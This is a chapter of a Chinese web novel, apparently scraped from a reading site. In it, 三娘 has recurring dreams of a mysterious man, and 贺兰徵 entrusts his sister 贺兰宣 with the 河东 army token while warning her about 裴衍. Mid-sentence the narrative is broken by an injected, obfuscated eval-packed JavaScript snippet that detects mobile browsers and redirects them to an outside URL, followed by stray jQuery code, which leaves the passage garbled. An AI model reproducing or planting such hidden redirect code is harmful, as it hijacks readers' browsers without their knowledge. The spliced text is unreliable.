默认冷灰
24号文字
方正启体

70. 梦境

作者:八月绾绾本书字数:K更新时间:
    噗通噗通——


    三娘倏地从睡梦中睁开眼睛。


    漆黑的厢房中一片寂静,冷风不停地拍打着窗子,她习惯性往外侧靠去。


    外侧空空如也,被褥冰凉。


    她忘了,此刻留宿在香山寺中。佛门净地,男女有别,不可同榻而眠。


    贺兰徵睡在隔壁的厢房。


    三娘吁出一口长气,拢了拢被子,阖上眼继续睡下。


    自年前从香山寺祈福归来、大病一场之后,她便时常会做一些奇怪的梦。


    梦里的场景不停地变换,可无论场景如何变幻,有一个人,自始至终从未变过。


    那人总是一身素净青袍,面容隐在朦胧的光影里,看不真切。


    每一次,她都想追上去,看清那张脸,可每一次,都在即将触及的刹那,骤然惊醒。


    那人究竟是谁,怎会三番五次都会梦见他。


    还有那个地方到底是哪里……


    她没有敢将此事告诉贺兰徵,毕竟没有哪个一个丈夫能容忍妻子总是梦到别的男子。


    天明时分,雪终于停了。


    回程的马车上,三娘心事重重地低垂着头,时不时往车窗外看去。


    “怎么了?”贺兰徵伸手抚上她的手,“看你脸色不大好,可是累着了,还是昨夜没休息好?”


    三娘瑟缩了一下,摇了摇头:“胡思乱想一些事情罢了。”


    贺兰徵以为她还在为了自己和明玉的事情而烦心,赶忙宽慰道:“别多想了,回去我便解了她禁足,往后随她心意,想去做什么便做什么。”


    闻言,她也只得点了点头:“嗯。”


    回到府中,两人先去太夫人院中请了安,这才返回自己房中。


    许是昨夜没睡好,加上车马劳顿,三娘只觉得整个人昏昏沉沉,提不起一丝力气。


    沐浴更衣后,她喝了一碗驱寒的汤药,便早早躺下歇息了。


    贺兰徵从书房拿了一个匣子,径直往祠堂走去。


    祠堂内,万籁俱静。


    贺兰宣如往常一般敬完香,坐在门槛上,双手托腮望着湛蓝的天空发呆。


    一时出了神,竟没有察觉到贺兰徵到来的脚步声。


    贺兰徵远远见她坐在那,不忍打搅,在廊下静静站着看了好一会。


    他这个妹妹,已经不是追在自己身后喊阿兄阿兄是小孩子了。


    叽叽喳喳——


    几只觅食的鸟儿从面前飞过,贺兰宣到目光跟随着它们眺望向外间,瞥见了在一旁默默站着的兄长。


    贺兰徵嘴角微扬,双手捧着匣子来到她身侧。


    “我已经解了你的禁足,怎么不出玩?”


    “习惯了。”


    贺兰宣站起身来,拍了拍身上的沾染的灰渍,转身走进祠堂。


    “还在怪我是不是?”贺兰徵亦跟了进了祠堂,“我也是为了你好。”


    贺兰宣淡淡地道:“我知道,我并未怪过任何人。”


    顿了顿,她侧头看向兄长:“阿兄也不必耿耿于怀。”


    贺兰徵不禁轻笑一声:“你不往心里去便好,我可无瑕一直惦念此等小事。”


    “这么说……”贺兰宣挑眉道,“我这个妹妹,在阿兄心里便没那么重要了?”


    你一言我一语,依旧是此前一言不合就会吵起来的架势。


    贺兰徵急忙打住:“好了,就到这吧,日后你想如何便如何。”


    说着,他把手上的匣子递了过去。


    “这算是赔礼吗?”


    她心不在焉地接过匣子,没有着急打开来看一看。


    “是新年贺礼。”贺兰徵扬了扬下巴,“快打开看看,喜不喜欢?”


    “该不会是阿嫂准备的,你怎么会……”


    贺兰宣一边嘀咕,一边随手掀开匣盖。当即傻眼了,不敢置信地看向兄长。


    “怎么,不喜欢?”贺兰徵歪了歪头。


    匣中赫然放着一枚令牌,时常奔波在外的贺兰宣不会认不出,这是一枚可调兵遣将的令牌。


    她颤抖着手缓缓抚上那枚梦寐以求的令牌,将其翻过来,其背面隽刻着河东二字。


    “这……”贺兰宣更是诧异了。


    贺兰徵又重复一遍:“不喜欢?”


    说完,他便伸手欲将其要回来。


    贺兰宣一个眼疾手快,抱着匣子,攥紧这枚视若珍宝的令牌躲闪到一旁,生怕被抢回去。


    “送出去的东西,岂……岂有又收回去的道理。”


    她又惊又喜,万万没想到兄长有朝一日竟真的让自己来统领一方的军马。


    而且还是最心心念念的河东军。


    “既然喜欢,怎么连句谢谢都没有。”贺兰徵故意板着脸追问。


    “谢谢阿兄。”


    贺兰宣眉开眼笑,高兴得快要飞起来。


    此前种种的不愉快,早就抛到九霄云外。


    一旁贺兰徵却无奈叹了口气。


    “你有什么好叹气的。”贺兰宣说道,“你手上有那么多兵马,又不缺这点人。”


    他摇了摇头:“我只是叹,自己竟然比不上一块令牌重要。”


    贺兰宣随即反应过来,挽着他的手,撒娇道:“阿兄最好了!是天底下第一好的兄长!”


    贺兰徵这才觉得心里舒坦了些。


    “不过……”他又嘱咐道,“不过,河东形势复杂,各方势力盘根错节。不到万不得已,不可轻易动用此令牌,更不能让旁人知晓令牌在你手上。”


    “我知道了。”她点了点头。


    贺兰徵看着她,认真道:“既然想去,那便去吧,早去早回。”


    “阿兄,你……今天有些奇怪。”贺兰宣狐疑道,“是不是发生了什么事?”


    “没有。”他否认得极快。


    贺兰宣追问道:“话说,你怎么会突然肯放权将河东交给我来打理……”


    “这不是你一直想要的吗?”贺兰徵轻声道,“近来北漠人蠢蠢欲动,正好让你趁此机会去历练一二。”


    她思索片刻,一字一句地道:“你是不是……怀疑裴衍会反?”


    河东各族通过联姻,势力盘根错节,日渐壮大,难免引来猜忌。


    “听阿兄一句劝,忘了他吧。”贺兰徵郑重地道,“大好年华,不必消磨在他一人的身上。”


    她垂下眼睫:“嗯……”


    十三岁那年,贺兰宣初次同兄长巡视河东,对刚刚及冠的裴衍一见倾心。


    三个月,策马奔驰,弯弓射雕,肆意畅快,是她记忆中最明亮的日子。


    在返程的前一晚,裴衍在月光下承诺,待她及笄便去洛阳向她提亲。


    等啊等,少女及笄终究没有等来那个人。


    再次得知关于裴衍的消息,是他要同太原王老孙女成亲的婚讯。


    她来不及思索,起马连夜赶去河东向他问个明白。


    不曾想,却遭来裴氏一族的一顿羞辱。


    说她一个异族女子,也休想成为裴氏未来家主的宗妇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295020|198559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,简直痴人说梦。


    她只想见裴衍,问个明白,至于羞辱,于她而言早已习惯。


    守着裴府外三天,不吃不喝,她还是没有见裴衍。


    最后被赶来的贺兰徵强行带回洛阳,禁足祠堂半年才被放出来。


    裴衍已经娶了王氏,婚后按照原来的约定领兵驻守雁门关。


    很久很久之后,贺兰宣再次踏足河东,已经没有了去见他的勇气。


    她加快巡视速度,想早些回洛阳。


    在临行的前一晚,裴衍快马加鞭从雁门关赶回来,专程来见她一面。


    抱歉。


    他只有短短两个字,自此从前的一切,便好似不复存在一般。


    后来,贺兰宣就与他兄妹相称。


    至今,她仍然不知,他是食言了,还是被逼无奈,身不由己。


    一切都没有那么重要了……


    “他不会反的。”


    贺兰宣回过神,向兄长保证道。


    “他若反了呢?”贺兰徵不得不提防,“倒时我们又该如何?”


    她脱口而出:“他要是敢反,我便一刀砍了他。”


    眼神决绝,看不出半点犹豫不决的意思。


    贺兰徵拍了拍她的肩膀,颔首道:“别意气用事就好。”


    “真没有!”


    “嗯。”


    “阿兄,你要相信我,我说的是真的!”


    贺兰宣追出来,试图向他想解释些什么。


    却见贺兰徵堵着耳朵,早已走远。


    回到房中,三娘刚刚醒来,无精打采地坐在床上揉脑袋。


    “怎么了,头疼吗?”贺兰徵心中一紧,随即吩咐道,“快传府医来。”


    三娘缓了缓,强颜欢笑道:“不用,怕不是累着了。”


    “还是让府医来看看吧。”


    见拗不过他,三娘只得答应,顺着他的意思。


    “明玉那边如何了?”


    贺兰徵笑道:“健步如飞,早就没影了。”


    “那就好。”


    不多时,府医前来把脉,说是心神不宁,忧思过重,多加休息静养便可,并无大碍。


    二人这才放下心来。


    两日后,贺兰宣迫不及待地收拾行装,启程前往河东。


    三娘与贺兰徵一同送至城外长亭。


    是夜,三娘再次坠入那个奇怪的梦境。


    廊下,她与那人并肩而坐,欢声笑语。


    秋阳温暖,桂花飘香。


    ——你叫什么名字?


    正要回答,她似是想到什么,连忙改口。


    ——女子闺名是不能随意对旁人说的,尤其是男子。


    他一时语塞。


    ——那我该怎么称呼你。


    她想了想。


    ——我在家中排第四,你且唤我四娘好了,你呢?


    ——六郎。


    落叶纷飞,又到了分别的时候。


    ——记住了,一定要来我家提亲!


    ——嗯,章台街,梧桐巷,门前有一丛粉菊。


    章台街,梧桐巷,粉菊……


    三娘猛地从睡梦中惊醒过来。


    “是不是又做噩梦了?”


    身侧的贺兰徵也醒了。


    她急忙抓着他的手,喃喃道:“我家住在章台街,梧桐巷,门口有一丛粉菊,章台街……”


    担心自己回会忘记,三娘一遍又一遍重复着这句话。


    “好,我这就派人去打听。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)